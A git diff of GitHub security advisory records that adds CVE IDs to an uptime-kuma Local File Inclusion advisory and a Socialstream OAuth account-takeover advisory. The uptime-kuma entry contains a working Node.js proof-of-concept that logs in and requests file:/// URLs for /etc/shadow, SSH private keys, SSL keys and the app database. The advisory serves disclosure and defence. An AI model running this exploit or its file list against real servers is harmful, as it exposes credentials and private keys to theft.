diff --git a/advisories/github-reviewed/2024/12/GHSA-2qgm-m29m-cj2h/GHSA-2qgm-m29m-cj2h.json b/advisories/github-reviewed/2024/12/GHSA-2qgm-m29m-cj2h/GHSA-2qgm-m29m-cj2h.json index 41cb5443cbe..5cc3bc9b267 100644 --- a/advisories/github-reviewed/2024/12/GHSA-2qgm-m29m-cj2h/GHSA-2qgm-m29m-cj2h.json +++ b/advisories/github-reviewed/2024/12/GHSA-2qgm-m29m-cj2h/GHSA-2qgm-m29m-cj2h.json @@ -1,9 +1,11 @@ { "schema_version": "1.4.0", "id": "GHSA-2qgm-m29m-cj2h", - "modified": "2024-12-20T15:10:46Z", + "modified": "2024-12-20T18:00:22Z", "published": "2024-12-20T15:10:46Z", - "aliases": [], + "aliases": [ + "CVE-2024-56331" + ], "summary": "uptime-kuma vulnerable to Local File Inclusion (LFI) via Improper URL Handling in `Real-Browser` monitor", "details": "### Summary\nAn **Improper URL Handling Vulnerability** allows an attacker to access sensitive local files on the server by exploiting the `file:///` protocol. This vulnerability is triggered via the **\"real-browser\"** request type, which takes a screenshot of the URL provided by the attacker. By supplying local file paths, such as `file:///etc/passwd`, an attacker can read sensitive data from the server.\n\n### Details\nThe vulnerability arises because the system does not properly validate or sanitize the user input for the URL field. Specifically:\n\n1. The URL input (``) allows users to input arbitrary file paths, including those using the `file:///` protocol, without server-side validation.\n \n2. The server then uses the user-provided URL to make a request, passing it to a browser instance that performs the \"real-browser\" request, which takes a screenshot of the content at the given URL. If a local file path is entered (e.g., `file:///etc/passwd`), the browser fetches and captures the file’s content.\n\n```javascript\nconst browser = await getBrowser();\nconst context = await browser.newContext();\nconst page = await context.newPage();\n\nconst res = await page.goto(monitor.url, {\n waitUntil: \"networkidle\",\n timeout: monitor.interval * 1000 * 0.8,\n});\n\nlet filename = jwt.sign(monitor.id, server.jwtSecret) + \".png\";\n\nawait page.screenshot({\n path: path.join(Database.screenshotDir, filename),\n});\n\nawait context.close();\n```\n\nSince the user input is not validated, an attacker can manipulate the URL to request local files (e.g., `file:///etc/passwd`), and the system will capture a screenshot of the file's content, potentially exposing sensitive data.\n\n### PoC\n1. **Instructions**:\n - Enter a local file path as the URL, such as: `view-source:file:///etc/passwd`.\n - The server will process the URL and, in \"real-browser\" mode, capture a screenshot of the file content.\n\nExample PoC:\n\n1. Log in to the application with valid credentials:\n\n```javascript\nconst { io } = require(\"socket.io-client\");\n\n// Server configuration and credentials\nconst CONFIG = {\n serverUrl: \"ws://localhost:3001\",\n credentials: {\n username: \"admin\",\n password: \"password1\"\n },\n requestType: {\n REAL_BROWSER: \"real-browser\",\n HTTP: \"http\"\n },\n urlHeader: {\n VIEW_SOURCE: \"view-source:file:///\",\n FILE: \"file:///\"\n }\n};\n\n// List of sensitive files on a Linux system\nconst SENSITIVE_FILES = [\n \"/etc/passwd\",\n \"/etc/shadow\",\n \"/etc/hosts\",\n \"/etc/hostname\",\n \"/etc/network/interfaces\", // May vary depending on the distribution\n \"/etc/ssh/ssh_config\",\n \"/etc/ssh/sshd_config\",\n \"~/.ssh/authorized_keys\",\n \"~/.ssh/id_rsa\",\n \"/etc/ssl/private/*.key\",\n \"/etc/ssl/certs/*.crt\",\n \"/app/data/kuma.db\", // Uptime Kuma database file\n \"/app/data/config.json\" // Uptime Kuma configuration file\n];\n\n// Function to send a request and wait for the response\nfunction sendRequest(socket, filePath, type) {\n return new Promise((resolve, reject) => {\n fileUrl = CONFIG.urlHeader.VIEW_SOURCE + filePath;\n if (type == CONFIG.requestType.HTTP) {\n fileUrl = CONFIG.urlHeader.FILE + filePath;\n }\n socket.emit(\"add\", {\n type: type,\n name: type + \" \" + filePath,\n url: fileUrl,\n method: \"GET\",\n maxretries: 0,\n timeout: 500,\n notificationIDList: {},\n ignoreTls: true,\n upsideDown: false,\n accepted_statuscodes: [\"200-299\"]\n }, (res) => {\n console.log(`Response for file ${filePath}:`, res);\n resolve();\n });\n });\n}\n\n// Main function for connecting and sending the 'add' request\n(async () => {\n const socket = io(CONFIG.serverUrl);\n\n // Handle connection errors\n socket.on(\"connect_error\", (err) => {\n console.error(\"Connection failed:\", err.message);\n });\n\n try {\n // Connecting with credentials\n await new Promise((resolve, reject) => {\n socket.emit(\"login\", {\n username: CONFIG.credentials.username,\n password: CONFIG.credentials.password,\n token: \"\"\n }, (res) => {\n if (res.ok) {\n console.log(\"Connection successful\");\n resolve();\n } else {\n console.log(res);\n reject(new Error(\"Connection failed\"));\n }\n });\n });\n\n // Sending requests for each file using Promise.all to ensure synchronization\n const realBrowserRequests = SENSITIVE_FILES.map(filePath => sendRequest(socket, filePath, CONFIG.requestType.REAL_BROWSER));\n\n // Wait for all requests to be sent\n await Promise.all([...realBrowserRequests]);\n\n // Close the socket after all requests have been sent\n socket.close();\n console.log(\"Connection closed after all requests.\");\n\n } catch (error) {\n console.error(\"Error:\", error.message);\n socket.close();\n }\n})();\n```\n\n### Impact\nThis vulnerability is a **Local File Inclusion (LFI)** issue, which allows an attacker to access and potentially exfiltrate sensitive files from the server. The impact is significant, as attackers can access critical system files or application configuration files, such as:\n- `/etc/passwd`: Contains user account information.\n- `/etc/shadow`: Contains password hashes.\n- `/app/data/kuma.db`: Contains the database for the Uptime Kuma monitoring tool.\n- `/app/data/config.json`: Contains the database credentials for Uptime Kuma.\n\nAny **authenticated user** who can submit a URL in \"real-browser\" mode is at risk of exposing sensitive data through screenshots of these files.", "severity": [ diff --git a/advisories/github-reviewed/2024/12/GHSA-3q97-vjpp-c8rp/GHSA-3q97-vjpp-c8rp.json b/advisories/github-reviewed/2024/12/GHSA-3q97-vjpp-c8rp/GHSA-3q97-vjpp-c8rp.json index b92b5339c1e..11a9acde7c6 100644 --- a/advisories/github-reviewed/2024/12/GHSA-3q97-vjpp-c8rp/GHSA-3q97-vjpp-c8rp.json +++ b/advisories/github-reviewed/2024/12/GHSA-3q97-vjpp-c8rp/GHSA-3q97-vjpp-c8rp.json @@ -1,9 +1,11 @@ { "schema_version": "1.4.0", "id": "GHSA-3q97-vjpp-c8rp", - "modified": "2024-12-20T15:01:20Z", + "modified": "2024-12-20T18:00:18Z", "published": "2024-12-20T15:01:20Z", - "aliases": [], + "aliases": [ + "CVE-2024-56329" + ], "summary": "Socialstream has a Potential Account Takeover Vulnerability in Social Account Linking Due to Missing User Consent After OAuth Callback", "details": "## Description\n\nWhen linking a social account to an already authenticated user, the lack of a confirmation step introduces a security risk. This is exacerbated if ->stateless() is used in the Socialite configuration, bypassing state verification and making the exploit easier. Developers should ensure that users explicitly confirm account linking and avoid configurations that skip critical security checks.\n\n## Resolution\nSocialstream v6.2 introduces a new custom route that requires a user to \"Confirm\" or \"Deny\" a request to link a social account.", "severity": [